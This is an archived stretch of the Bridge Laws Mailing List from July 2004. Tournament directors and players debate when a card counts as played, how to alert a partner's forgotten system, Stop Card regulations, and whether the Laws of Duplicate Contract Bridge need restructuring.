~ Grattan ~ +=+ AMEN ! (Is there any chance for a major improvement in twothousanand*** ?) Sven From blml@blakjak.com Tue Jul 6 18:57:27 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 6 Jul 2004 18:57:27 +0100 Subject: [blml] Balance of probabilities In-Reply-To: References: Message-ID: Gordon Bower wrote >On Tue, 6 Jul 2004 richard.hills@immi.gov.au wrote: > >> Imps, Knockout Teams >> Dlr: North >> Vul: East-West >> >> The bidding has gone: >> >> WEST NORTH EAST SOUTH >> --- Pass 1D(1) Pass >> 1H(2) Pass 2C(3) Pass >> 2D(4) Pass Pass ? > >[East shows 4 diamonds, 5+ clubs, 10-14, West shows heart suit and diamond >preference] >> >> You, South, hold: >> >> AK732 >> 5 >> T854 >> 875 >> >> What call do you make? > >I know there are some conservatives who disapprove... but I overcalled 1S >on the first round, and my partner has decided whether or not to raise on >the second round. You are at Green, opposite a passed partner. What is wrong with 2S first round? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From john@asimere.com Tue Jul 6 19:50:50 2004 From: john@asimere.com (John (MadDog) Probst) Date: Tue, 6 Jul 2004 19:50:50 +0100 Subject: [blml] Interpretation In-Reply-To: <000001c46371$93905320$0200a8c0@Zog> References: <000601c462f3$b7e32c30$0301a8c0@ACER> <000001c46371$93905320$0200a8c0@Zog> Message-ID: In article <000001c46371$93905320$0200a8c0@Zog>, Brambledown writes >Rui Marques writes: >> I have been following the discussion on the played card (with a little >> less while in Malmoe, I confess). And it has been a surprise to me, >the >> strong opinions about how the Laws should be closed to interpretation >by >> TDs. The game is not black or white, and neither are the Laws. A good >TD >> should know how to follow the spirit of the Laws, not going against >the >> letter, but knowing when the Laws are open to interprwtaion and >> judgment, and applying good judgment if that is the case. The "played >> card" law has a component of judgment to be used. There is no way that >> "1 inch above the table", or "touching the table", or whatever, >becomes >> a definitive criterion. Read through the laws, understand the letter >and >> the spirit, and be reasonable. The Laws are not made for roboTDs (and >> when they are, I will stop TDing). > >Critical case: Declarer plays a card which for a nanosecond or two is >face up touching the table, before he snatches it back into his hand in >what, for practical purposes, is one continuous movement. > >I suspect that the vast majority of TDs reading L45C2 would rule that >the card has been played. DWS and other notables say it has not. > >This scenario is not at all unlikely, it (or something very close to it) >probably happens somewhere in the bridge-playing world every hour of >every day. > >There will always be grey areas requiring interpretation (how nearly >does it have to be for it to be "nearly touching"?, how long for it to >have been "maintained"?), but the above is a stock situation about which >there should be no doubt - no need for "interpretation". > >If we cannot agree on what the Law requires here, the Law has failed us. I've TD'd just the 65,000 tables, and I have *never* once been in doubt. Kojak is right. WHY are we discussing this? cheers john > >Chas Fellows, >Surrey, England > > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From john@asimere.com Tue Jul 6 20:37:56 2004 From: john@asimere.com (John (MadDog) Probst) Date: Tue, 6 Jul 2004 20:37:56 +0100 Subject: [blml] Balance of probabilities In-Reply-To: References: Message-ID: <5STvocBU+v6AFwcl@asimere.com> In article , richard.hills@immi.gov.au writes snip the hand, which is now irrelevant. > >This was a Canberra Bridge Club event. My >partnership and my opponents had been regular >attendees at this club for donkey's years. > >The opponents sportingly did not summon the >director, since they knew that my regular >partner and I had been playing Symmetric >Relay for a decade-and-a-half, and that this >was a rare careless stuffup in our well- >practised bonkers system. > >As well as accurately describing my system as >bonkers, John (MadDog) Probst wrote (in the >earlier thread "Penalised for not knowing >your system"): "bonkers" systems are fun. I'm not knocking it, I play plenty of bonkers stuff myself. > >>>>It is my opinion that to forget your system >>>>is insulting to your opponents. It spoils >>>>their enjoyment. it is an offence against >>>>the proprieties. I can issue a DP, but not >>>>a PP. >>>> >>>>My favourite DP was to Robert Proops who >>>>was being particularly noisy so I read him >>>>the bit about following all reasonable >>>>requests of the TD and then told him to >>>>"Drop dead". "Seems reasonable" he said :) > >In that thread, I replied: > >>>It is my opinion that *remembering* my system >>>spoils the opponents' enjoyment. That is, >>>because I play Symmetric Relay, my opponents >>>often have to sit through a dozen obscure bids. >>> >>>I then add insult to injury by reaching a cold >>>slam in a 4-3 fit, with the twelfth trick >>>available only through ruffing a loser in the >>>3-card holding. >>> >>>My opponents badly need MadDog to migrate to >>>Australia, so that he can issue a DP on me for >>>being too much of a clever clogs as I gain my >>>tops. > >In this thread, I continue: > >My partnership's stuffup gave the opponents a >chance of enjoyably watching us play a cold >game in a partscore. If MadDog was the Canberra >TD, would he really inflict a DP on our >partnership? Or would he simply suggest that >our partnership buy the opponents a beer? I'd write you up in the psyche book, I think. There is no basis at all for a PP but I'd do a DP ruling. My ruling is as follows: "The 2S bidder is to buy his partner a drink for the lunatic balancing action. The 2D bidder is to buy the 2S bidder a drink for letting him back into the auction. RJH is to buy his partner a drink as the stress of playing with RJH is clearly sending the man demented. The partner of the 2S bidder is to buy the TD a drink because it's all his fault (a general catch-all, where DP's are concerned). The TD is to buy RJH a drink for providing the best entertainment of the evening. The rest of the room is to stop giggling or I'll issue some more DP's." I tell you DP's can be exacted in any form, they're far better than PP's. I charge a pint of bitter to people who throw their bidding box on the floor, gravely citing 91 as my justification. > >Best wishes > >RJH > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From john@asimere.com Tue Jul 6 20:43:35 2004 From: john@asimere.com (John (MadDog) Probst) Date: Tue, 6 Jul 2004 20:43:35 +0100 Subject: [blml] Re: Balance of probabilities In-Reply-To: <1089112982.6943.199807083@webmail.messagingengine.com> References: <20040706100003.24600.84833.Mailman@toybox.amsterdamned.org> <1089112982.6943.199807083@webmail.messagingengine.com> Message-ID: In article <1089112982.6943.199807083@webmail.messagingengine.com>, David Babcock writes >Good morning all, > >> (2) At this point in the auction, I alerted >> the opponents to the fact that partner had >> forgotten the system > >However well-intentioned, is this allowed >before the final pass? Your opponents are entitled to all agreements etc, and you now know partner is a complete plonker. I think your opponents should be the first to know. It seems entirely legal to me, what Law have I infracted, and which Law tells me I should tell the oppo? john > >David Babcock >Florida USA > > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From john@asimere.com Tue Jul 6 20:48:20 2004 From: john@asimere.com (John (MadDog) Probst) Date: Tue, 6 Jul 2004 20:48:20 +0100 Subject: [blml] Re: Balance of probabilities In-Reply-To: <000501c4634d$8d8c4bb0$6900a8c0@WINXP> References: <1089112982.6943.199807083@webmail.messagingengine.com> <000501c4634d$8d8c4bb0$6900a8c0@WINXP> Message-ID: In article <000501c4634d$8d8c4bb0$6900a8c0@WINXP>, Sven Pran writes > > >> -----Original Message----- >> From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of >> David Babcock >> Sent: 6. juli 2004 13:23 >> To: Bridge Laws Mailing List >> Subject: [blml] Re: Balance of probabilities >> >> Good morning all, >> >> > (2) At this point in the auction, I alerted >> > the opponents to the fact that partner had >> > forgotten the system >> >> However well-intentioned, is this allowed >> before the final pass? >> >> David Babcock >> Florida USA > >Law 75D2: NO! (And for defenders to be not until after the play ends). Que? MI is illegal. Creation of UI isn't. Would you accept I must alert 3NT and when asked by opponents gravely explain "This call is anti-systemic". I much prefer "Partner is a complete plonker and has forgotten the system". cheers john > >(Slightly different rules may be in force when screens are used) > >Sven > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From svenpran@online.no Tue Jul 6 21:14:32 2004 From: svenpran@online.no (Sven Pran) Date: Tue, 6 Jul 2004 22:14:32 +0200 Subject: [blml] Re: Balance of probabilities In-Reply-To: Message-ID: <000a01c46395$d9878230$6900a8c0@WINXP> John (MadDog) Probst .......... > >> > (2) At this point in the auction, I alerted > >> > the opponents to the fact that partner had > >> > forgotten the system > >> > >> However well-intentioned, is this allowed > >> before the final pass? > >> > >> David Babcock > >> Florida USA > > > >Law 75D2: NO! (And for defenders to be not until after the play = ends). >=20 > Que? MI is illegal.=20 Do the agreements include partner to forget your system? If yes, then opponents are entitled to that information, if no then Law 75D2 = specifically forbids you to give opponents such information before the times = specified in that law, but see the next clause. However, the experience that partner has a tendency to forget the system = (in certain situations) is indeed part of "special partnership agreements" = and should as such be included with any explanation when relevant. But alerting a call from partner and telling opponents that now he has forgotten the system? Who are you to know whether he has really = forgotten the system or is deliberately deviating from it (also known as a = psyche)? > Creation of UI isn't. Would you accept I must > alert 3NT and when asked by opponents gravely explain "This call is > anti-systemic". You cannot tell whether the 3NT bid is alertable can you? What you can = tell opponents is that this call has no existence in your system at this = stage of the auction (also known as "no agreements").=20 I much prefer "Partner is a complete plonker and has > forgotten the system". =20 I have a strong feeling that this remark is a clear violation of Law = 74A2. Regards Sven From adam@tameware.com Tue Jul 6 21:15:10 2004 From: adam@tameware.com (Adam Wildavsky) Date: Tue, 6 Jul 2004 16:15:10 -0400 Subject: [blml] Reno regional appeal number four In-Reply-To: <011501c46341$c2382520$279868d5@jeushtlj> References: <000001c462d8$713a7150$6900a8c0@WINXP> <011501c46341$c2382520$279868d5@jeushtlj> Message-ID: At 11:12 AM +0100 7/6/04, Nigel Guthrie wrote: >1. LHOs often bid *before* I removed >the "stop". card. We weren't damaged >so I didn't call the TD. In a jurisdiction with reasonable Stop Card rules, whereby LHO is not allowed to make a call while the Stop Card remains on the table, one ought to summon the TD any time LHO violates the regulation. In order to establish the facts incontrovertibly you must summon the TD while both the Stop Card and LHO's offending call remain on the table. At that point it's too early to determine whether you've been damaged -- you do not yet know what RHO will do, nor whether he had any demonstrably suggested LAs. I've posted before about the desirability of a regulation such as the EBU's, and I'm disappointed I've been able to make no headway in getting the ACBL to re-adopt such a policy. I hate to think that a BLML subscriber playing under the proper regulation might not be taking advantage of it to make the game more pleasant for himself and indeed for everyone. -- Adam Wildavsky Extreme Programmer Tameware, LLC adam@tameware.com http://www.tameware.com From schoderb@msn.com Tue Jul 6 21:25:48 2004 From: schoderb@msn.com (WILLIAM SCHODER) Date: Tue, 6 Jul 2004 16:25:48 -0400 Subject: [blml] A player's view References: <000501c46374$c06076c0$6900a8c0@WINXP> Message-ID: Of course I agree with Grattan. BUT -- I'm against changing the nature of the game by changing the intent of the laws. For example, it might be very much easier to have the revoke penalty be 2 tricks in all cases, but it would not serve the game as well in providing redress, equity, and a verifiable bridge score on a particular hand. If a law is too vaguely stated, tighten it up, but there is no reason to change something because it is difficult. Learn how to apply it, or go sell shoes -- to misquote an old phrase. I have little patience with intellectual lethargy. Our laws have proven themselves to structure and define the game. Take those ideas, rewrite them to your heart's (and minds) content to more clearly ascertain that we all know what they are trying to say, rearrange them to make it a less error prone experience to find what to do, BUT DON'T SNEAK IN PET IDEAS ALONG THE WAY THAT CHANGE BRIDGE. Where there are local reasons, Rules, Regulations, and Conditions of Contest can handle those -- don't incorporate them into the laws. That also applies to the WBF when acting as a tournament sponsor. It has some quirky arrangements not in accord with the present laws but which "work?" for them. There is no need to impose these on other entities who play bridge, just to justify WBFs once a year foray into it's only tournament. There are hundreds of tournaments that play by the Laws of Duplicate Contract Bridge, XXXX, each year. If you present the structure of the game, its purposes, its machinery, and provide adequate remedy when there is a departure from correct procedure, you've done the job. Youcan't cover all eventualities, so make sure that your laws are clear as to the INTENT of adjustments and penalties. To even believe that you can mandate all other aspects of the game, size, movements, time constraints, discipline of players, eligibility, to name but a few, is to play God. I fail to see anyone around who can claim that qualification. Kojak ----- Original Message ----- From: "Sven Pran" To: "blml" Sent: Tuesday, July 06, 2004 12:17 PM Subject: RE: [blml] A player's view > > grandeval > .............. > > +=+ I think the chief fault of the law book is that it is a patchwork > > with pieces added here and there, often leaving Directors to look > > in a plurality of places for all that applies to the question in hand. > > We did not help this when we brought the Proprieties into the > > mainstream of the Laws, being content to just renumber them > > as laws without integrating them within the structure of the code. > > There are other items at the back of the present book, and > > occasionally in the middle, that have also just been left wherever > > they happened to fall. There is a secondary difficulty in the > > inferential style of Kaplan's language, which causes no problem > > to Kojak and most other gurus, but which is extremely unhelpful > > for the toiling masses. We will do the game a disservice if we fail > > to remedy these defects. It lacks insight in many areas when the > > cognoscenti say "We understand it so it must be good enough". > > ~ Grattan ~ +=+ > > AMEN ! > > (Is there any chance for a major improvement in twothousanand*** ?) > > Sven > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From schoderb@msn.com Tue Jul 6 21:31:39 2004 From: schoderb@msn.com (WILLIAM SCHODER) Date: Tue, 6 Jul 2004 16:31:39 -0400 Subject: [blml] Reno regional appeal number four References: <000001c462d8$713a7150$6900a8c0@WINXP> <011501c46341$c2382520$279868d5@jeushtlj> Message-ID: Hear, hear!!! Another clarion call in the wilderness. =K= ----- Original Message ----- From: "Adam Wildavsky" To: Sent: Tuesday, July 06, 2004 4:15 PM Subject: Re: [blml] Reno regional appeal number four > At 11:12 AM +0100 7/6/04, Nigel Guthrie wrote: > >1. LHOs often bid *before* I removed > >the "stop". card. We weren't damaged > >so I didn't call the TD. > > In a jurisdiction with reasonable Stop Card rules, whereby LHO is not > allowed to make a call while the Stop Card remains on the table, one > ought to summon the TD any time LHO violates the regulation. In order > to establish the facts incontrovertibly you must summon the TD while > both the Stop Card and LHO's offending call remain on the table. At > that point it's too early to determine whether you've been damaged -- > you do not yet know what RHO will do, nor whether he had any > demonstrably suggested LAs. > > I've posted before about the desirability of a regulation such as the > EBU's, and I'm disappointed I've been able to make no headway in > getting the ACBL to re-adopt such a policy. I hate to think that a > BLML subscriber playing under the proper regulation might not be > taking advantage of it to make the game more pleasant for himself and > indeed for everyone. > > -- > Adam Wildavsky Extreme Programmer Tameware, LLC > adam@tameware.com http://www.tameware.com > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From toddz@att.net Tue Jul 6 21:46:34 2004 From: toddz@att.net (Todd M. Zimnoch) Date: Tue, 06 Jul 2004 16:46:34 -0400 Subject: [blml] Re: Balance of probabilities In-Reply-To: <000a01c46395$d9878230$6900a8c0@WINXP> References: <000a01c46395$d9878230$6900a8c0@WINXP> Message-ID: <6.0.1.1.1.20040706162544.01bacec0@postoffice.worldnet.att.net> At 04:14 PM 7/6/2004, Sven Pran wrote: > But alerting a call from partner and telling opponents that now he has > forgotten the system? Who are you to know whether he has really > forgotten the system or is deliberately deviating from it (also known > as a psyche)? You have information, based on your partnership agreements or specific lack thereof, that the opponents do not. They are entitled to it. This shouldn't be a question of law, but rather alert regs. -Todd From svenpran@online.no Tue Jul 6 22:51:27 2004 From: svenpran@online.no (Sven Pran) Date: Tue, 6 Jul 2004 23:51:27 +0200 Subject: [blml] A player's view In-Reply-To: Message-ID: <000b01c463a3$63e30d20$6900a8c0@WINXP> Well, well, well. Why do they change the laws? Reason 1: They want to change the nature of the game on some particular point. Reason 2: They want to clarify the nature of the game where doubts have = been identified. Examples: The revoke penalty was a flat two tricks transfer until 1987. (And at earlier times it could be even more tricks because repeated revokes in = the same denomination by the same player were penalized with one trick extra = per repetition). Did the change in the laws alter the nature of the game? = Sure, it made a revoke less disastrous in some cases.=20 The bonus for more than three undertricks not vulnerable was also = changed in 1987. Did the change alter the nature of the game? Sure, it made it much less interesting to sacrifice against high contracts green vs. red. I am not sure that changing the revoke penalty gained bridge, but = changing the bonus for undertricks certainly did. Changing the laws with the intention to change the nature of the game = must of course only be done after careful considerations of objectives and = means. (In my opinion the present Law 25B2(b)2 is a dramatic example of a case where this has failed.)=20 But what we see today is also a great many identifications of laws which really are not fully understood, and we have seen evidence that the same laws are interpreted differently within different jurisdictions. = Obviously some changes in the laws are needed in order to clarify how the nature = of duplicate contract bridge is intended. And apparently some jurisdictions will have to give up their understanding of the present laws in order = that we may reach a common world-wide understanding on what is the game of duplicate contract bridge. The first laws of Duplicate bridge were published in 1928 and since then = we have seen seven revisions. I doubt that there exists today any player = who wants to revert to the original laws on the ground that they = sufficiently defined the game (which indeed they did!) Grattan's commentary that many problems have arisen simply from the lack = of structure in the laws was IMO very well taken and I for one am looking forward to see some changes for the better in the next laws proper, both = in structure and also in contents. Regards Sven > -----Original Message----- > From: WILLIAM SCHODER [mailto:schoderb@msn.com] > Sent: 6. juli 2004 22:26 > To: blml; Sven Pran > Subject: Re: [blml] A player's view >=20 > Of course I agree with Grattan. BUT -- I'm against changing the nature = of > the game by changing the intent of the laws. For example, it might be = very > much easier to have the revoke penalty be 2 tricks in all cases, but = it > would not serve the game as well in providing redress, equity, and a > verifiable bridge score on a particular hand. If a law is too vaguely > stated, tighten it up, but there is no reason to change something = because > it > is difficult. Learn how to apply it, or go sell shoes -- to misquote = an > old > phrase. I have little patience with intellectual lethargy. >=20 > Our laws have proven themselves to structure and define the game. Take > those > ideas, rewrite them to your heart's (and minds) content to more = clearly > ascertain that we all know what they are trying to say, rearrange them = to > make it a less error prone experience to find what to do, BUT DON'T = SNEAK > IN > PET IDEAS ALONG THE WAY THAT CHANGE BRIDGE. >=20 > Where there are local reasons, Rules, Regulations, and Conditions of > Contest can handle those -- don't incorporate them into the laws. That > also > applies to the WBF when acting as a tournament sponsor. It has some = quirky > arrangements not in accord with the present laws but which "work?" for > them. > There is no need to impose these on other entities who play bridge, = just > to > justify WBFs once a year foray into it's only tournament. There are > hundreds > of tournaments that play by the Laws of Duplicate Contract Bridge, = XXXX, > each year. > If you present the structure of the game, its purposes, its machinery, = and > provide adequate remedy when there is a departure from correct = procedure, > you've done the job. Youcan't cover all eventualities, so make sure = that > your laws are clear as to the INTENT of adjustments and penalties. To > even > believe that you can mandate all other aspects of the game, size, > movements, > time constraints, discipline of players, eligibility, to name but a = few, > is > to play God. I fail to see anyone around who can claim that = qualification. >=20 > Kojak >=20 >=20 > ----- Original Message ----- > From: "Sven Pran" > To: "blml" > Sent: Tuesday, July 06, 2004 12:17 PM > Subject: RE: [blml] A player's view >=20 >=20 > > > grandeval > > .............. > > > +=3D+ I think the chief fault of the law book is that it is a = patchwork > > > with pieces added here and there, often leaving Directors to look > > > in a plurality of places for all that applies to the question in = hand. > > > We did not help this when we brought the Proprieties into the > > > mainstream of the Laws, being content to just renumber them > > > as laws without integrating them within the structure of the code. > > > There are other items at the back of the present book, and > > > occasionally in the middle, that have also just been left wherever > > > they happened to fall. There is a secondary difficulty in the > > > inferential style of Kaplan's language, which causes no problem > > > to Kojak and most other gurus, but which is extremely unhelpful > > > for the toiling masses. We will do the game a disservice if we = fail > > > to remedy these defects. It lacks insight in many areas when the > > > cognoscenti say "We understand it so it must be good enough". > > > ~ Grattan ~ +=3D+ > > > > AMEN ! > > > > (Is there any chance for a major improvement in twothousanand*** ?) > > > > Sven > > > > > > _______________________________________________ > > blml mailing list > > blml@rtflb.org > > http://www.amsterdamned.org/mailman/listinfo/blml > > From svenpran@online.no Tue Jul 6 23:01:26 2004 From: svenpran@online.no (Sven Pran) Date: Wed, 7 Jul 2004 00:01:26 +0200 Subject: [blml] Re: Balance of probabilities In-Reply-To: <6.0.1.1.1.20040706162544.01bacec0@postoffice.worldnet.att.net> Message-ID: <000c01c463a4$c86f9a00$6900a8c0@WINXP> Todd M. Zimnoch > At 04:14 PM 7/6/2004, Sven Pran wrote: > > But alerting a call from partner and telling opponents that now he > has > > forgotten the system? Who are you to know whether he has really > > forgotten the system or is deliberately deviating from it (also > known > > as a psyche)? >=20 > You have information, based on your partnership agreements or > specific > lack thereof, that the opponents do not. They are entitled to > it. This shouldn't be a question of law, but rather alert regs. You know from experience that your partner sometimes (unpredictably) is likely to psyche. You have no agreements that enable you to identify a particular call as a psyche (any such agreement would indeed be illegal unless properly disclosed to opponents) Are you saying that when during the auction you understand a particular = call by your partner to (probably) be a psyche then you are required to = inform your opponents? Sven From richard.hills@immi.gov.au Tue Jul 6 22:59:40 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 7 Jul 2004 07:59:40 +1000 Subject: [blml] Balance of probabilities Message-ID: Richard Hills: >>>(2) At this point in the auction, I alerted >>>the opponents to the fact that partner had >>>forgotten the system David Babcock: >>However well-intentioned, is this allowed >>before the final pass? Sven Pran: >Law 75D2: NO! (And for defenders to be not >until after the play ends). Richard Hills: In my opinion, Sven Pran is misapplying Law 75D2 to a Law 75D1 situation. Law 75D1 states, "If a player subsequently realises that his own explanation was erroneous or incomplete, he must immediately call the Director (who will apply Law 21 or Law 40C)." My earlier explanation of 2D as a signoff was erroneous or incomplete, since pard had the (rare) two-way option of accidentally bidding 2D with game-forcing values. Admittedly, I violated Law 75D1 procedure by not immediately calling the Director, so it is legal for MadDog to give me *both* a PP *and* a DP. :-) Best wishes RJH From richard.hills@immi.gov.au Tue Jul 6 23:13:10 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 7 Jul 2004 08:13:10 +1000 Subject: [blml] Balance of probabilities Message-ID: John (MadDog) Probst: >>Would you accept I must alert 3NT and when asked by >>opponents gravely explain "This call is anti-systemic". Sven Pran: >You cannot tell whether the 3NT bid is alertable can >you? What you can tell opponents is that this call has >no existence in your system at this stage of the auction >(also known as "no agreements"). Richard Hills: Despite a recent revision, the ABF Alert Regulations are slightly ambiguous in this area. However, I interpret the ABF Alert Regulations as follows: (a) A call which is undiscussed should *not* be alerted. (With the usual caveat on the requirement to alert *implicit* agreements.) (b) A call which is anti-systemic *must* be alerted. Laurie Kelso, do you agree? Best wishes RJH From siegmund@mosquitonet.com Tue Jul 6 22:42:22 2004 From: siegmund@mosquitonet.com (Gordon Bower) Date: Tue, 6 Jul 2004 13:42:22 -0800 (AKDT) Subject: [blml] A player's view In-Reply-To: <004601c462fd$ad7217c0$159468d5@jeushtlj> Message-ID: On Tue, 6 Jul 2004, Nigel Guthrie wrote: > Here, again, are some of my views: > the views of a typical player, not a TD: > > 2. TFLB has scant regard for any innovation > since 1940. > For example, it scarcely mentions bidding > boxes, convention licensing, alerting rules, > victory point scales or on-line play. There is another way of looking at that issue. "Innovations since 1940," in particular conventions, are *things that developed because the laws at that time allowed them as part of the game.* >From the logician's viewpoint anyway, they were always there in principle, they just weren't widely used at one time. I contend that the laws have refrained from imposing significant constraints on such things, because to add such constraints is to change the game, while to let the game develop within the previously prescribed rules in some sense isn't - it's just allowing the players to explore new ways to play better. There have been a small number of things that have been added to the laws - forbidding sacrifices at the 8-level even when the scoring table would make it profitable to do so, for instance, in the 1920s. > WBF law-makers have delegated their > regulation to local jurisdictions, who > have created idiosyncratic chauvinist > variants in a Tower of Babel. That only becomes a problem when we propose to limit the bridge game of the future to one particular idiosyncratic variant of the game. A reasonable alternative is to accept that many bidding languages will be spoken around the world, instead of adding a new criterion to the book that chooses which of the Strong 2D, Weak 2D, the Multi 2D, and the Wilkosz 2D will be recognized as honest attempt to win within the laws. > 3. TFLB is revised so rarely, that it > keeps controversy over anomalies alive > for decades. BLML experts disagree about > the meaning of laws. Few TDs understand > them. Even fewer players understand the > laws of the game they are trying to play. That is IMO better than the situation with something like the U.S. tax code, which is a constantly moving target, so that even the few people who understand it thoroughly this year will be at sea next year. The faster the laws change the fewer players will ever try to understand them. --- Aside from that I agree with most of what Nigel said about wanting the laws to be reliable and consistent and all that. GRB From gesta@tiscali.co.uk Tue Jul 6 22:49:21 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Tue, 6 Jul 2004 22:49:21 +0100 Subject: [blml] A player's view References: <000501c46374$c06076c0$6900a8c0@WINXP> Message-ID: <005b01c463a8$0963af80$8902e150@multivisionoem> Grattan Endicott To: "blml" Sent: Tuesday, July 06, 2004 5:17 PM Subject: RE: [blml] A player's view > > grandeval > .............. > > +=+ I think the chief fault of the law book is that it is a patchwork > > with pieces added here and there, often leaving Directors to look > > in a plurality of places for all that applies to the question in hand. > > We did not help this when we brought the Proprieties into the > > mainstream of the Laws, being content to just renumber them > > as laws without integrating them within the structure of the code. > > There are other items at the back of the present book, and > > occasionally in the middle, that have also just been left wherever > > they happened to fall. There is a secondary difficulty in the > > inferential style of Kaplan's language, which causes no problem > > to Kojak and most other gurus, but which is extremely unhelpful > > for the toiling masses. We will do the game a disservice if we fail > > to remedy these defects. It lacks insight in many areas when the > > cognoscenti say "We understand it so it must be good enough". > > ~ Grattan ~ +=+ > > AMEN ! > > (Is there any chance for a major improvement in twothousanand*** ?) > > Sven > +=+ I don't know. It is my ambition that there should be and I think Kojak's view is close enough to mine to be a support. But there is a course to be negotiated among the several objectives and persuasions of the members of the subcommittee. My preferred solution, and one advocated at least by some on the subcommittee who come from west of the Atlantic, is to extend the boundaries of regulation. If the Laws succeed in encapsulating the game whilst giving scope to tournament organizers to produce the tournament conditions that they wish, if the next Laws are easy to follow and understand, then I shall ask no more. We have been working on it for three years now. ~ G ~ +=+ From gesta@tiscali.co.uk Tue Jul 6 23:00:59 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Tue, 6 Jul 2004 23:00:59 +0100 Subject: Wind from the West (was Re: [blml] Reno regional appeal) References: <000001c462d8$713a7150$6900a8c0@WINXP> <011501c46341$c2382520$279868d5@jeushtlj> Message-ID: <005c01c463a8$0a43d650$8902e150@multivisionoem> Grattan Endicott To: ; "Adam Wildavsky" Sent: Tuesday, July 06, 2004 9:31 PM Subject: Re: [blml] Reno regional appeal number four > Hear, hear!!! Another clarion call in the wilderness. > > =K= > > > I've posted before about the desirability of a regulation such as the > > EBU's, and I'm disappointed I've been able to make no headway in > > getting the ACBL to re-adopt such a policy. I hate to think that a > > BLML subscriber playing under the proper regulation might not be > > taking advantage of it to make the game more pleasant for himself and > > indeed for everyone. > > +=+ Continue to blow thy clarion, O azure sister of the Spring......." +=+ From gesta@tiscali.co.uk Tue Jul 6 23:15:58 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Tue, 6 Jul 2004 23:15:58 +0100 Subject: [blml] Interpretation References: <000001c46371$93905320$0200a8c0@Zog> Message-ID: <005d01c463a8$0b5d3590$8902e150@multivisionoem> Grattan Endicott To: "BLML" Sent: Tuesday, July 06, 2004 4:54 PM Subject: RE: [blml] Interpretation > > If we cannot agree on what the Law requires here, > the Law has failed us. > +=+ or have We failed the Law? +=+ From svenpran@online.no Tue Jul 6 23:30:08 2004 From: svenpran@online.no (Sven Pran) Date: Wed, 7 Jul 2004 00:30:08 +0200 Subject: [blml] Balance of probabilities In-Reply-To: Message-ID: <000d01c463a8$cb0a4540$6900a8c0@WINXP> > richard.hills@immi.gov.au > Richard Hills: >=20 > >>>(2) At this point in the auction, I alerted > >>>the opponents to the fact that partner had > >>>forgotten the system >=20 > David Babcock: >=20 > >>However well-intentioned, is this allowed > >>before the final pass? >=20 > Sven Pran: >=20 > >Law 75D2: NO! (And for defenders to be not > >until after the play ends). >=20 > Richard Hills: >=20 > In my opinion, Sven Pran is misapplying Law > 75D2 to a Law 75D1 situation. >=20 > Law 75D1 states, "If a player subsequently > realises that his own explanation was > erroneous or incomplete, he must immediately > call the Director (who will apply Law 21 or > Law 40C)." >=20 > My earlier explanation of 2D as a signoff > was erroneous or incomplete, since pard had > the (rare) two-way option of accidentally > bidding 2D with game-forcing values. Please clarify: Had you previously given an incorrect explanation or did your partner = forget the system? If you discover that you had given an incorrect explanation then of = course Law 75D1 is the applicable law. But you stated above that "I alerted the opponents to the fact that = partner had forgotten the system" which implies that you had given a correct explanation.=20 I agree that Law 75D2 is not really applicable, there are no = misinformation and no reason to correct your previous explanation (except if your = partner over some time has created "special partnership experience" to the = effect that he frequently forgets the system). =20 What you did was to give your partner an alert that he had "forgotten = the system", and alert that is UI to him and which might easily result in an adjusted score based upon what contract could have been the result had = he not become aware of his error.=20 Although this information is AI to your opponents they may even have a = case claiming redress if it should turn out that they have made unlucky = decisions possibly caused by receiving this information. You had better keep mum shut. Regards Sven From blml@blakjak.com Tue Jul 6 23:39:27 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 6 Jul 2004 23:39:27 +0100 Subject: [blml] Interpretation In-Reply-To: References: <000601c462f3$b7e32c30$0301a8c0@ACER> <000001c46371$93905320$0200a8c0@Zog> Message-ID: <$x$wwUDfoy6AFwP2@blakjak.demon.co.uk> John (MadDog) Probst wrote >In article <000001c46371$93905320$0200a8c0@Zog>, Brambledown > writes >>Critical case: Declarer plays a card which for a nanosecond or two is >>face up touching the table, before he snatches it back into his hand in >>what, for practical purposes, is one continuous movement. >> >>I suspect that the vast majority of TDs reading L45C2 would rule that >>the card has been played. DWS and other notables say it has not. >> >>This scenario is not at all unlikely, it (or something very close to it) >>probably happens somewhere in the bridge-playing world every hour of >>every day. >> >>There will always be grey areas requiring interpretation (how nearly >>does it have to be for it to be "nearly touching"?, how long for it to >>have been "maintained"?), but the above is a stock situation about which >>there should be no doubt - no need for "interpretation". >> >>If we cannot agree on what the Law requires here, the Law has failed us. > 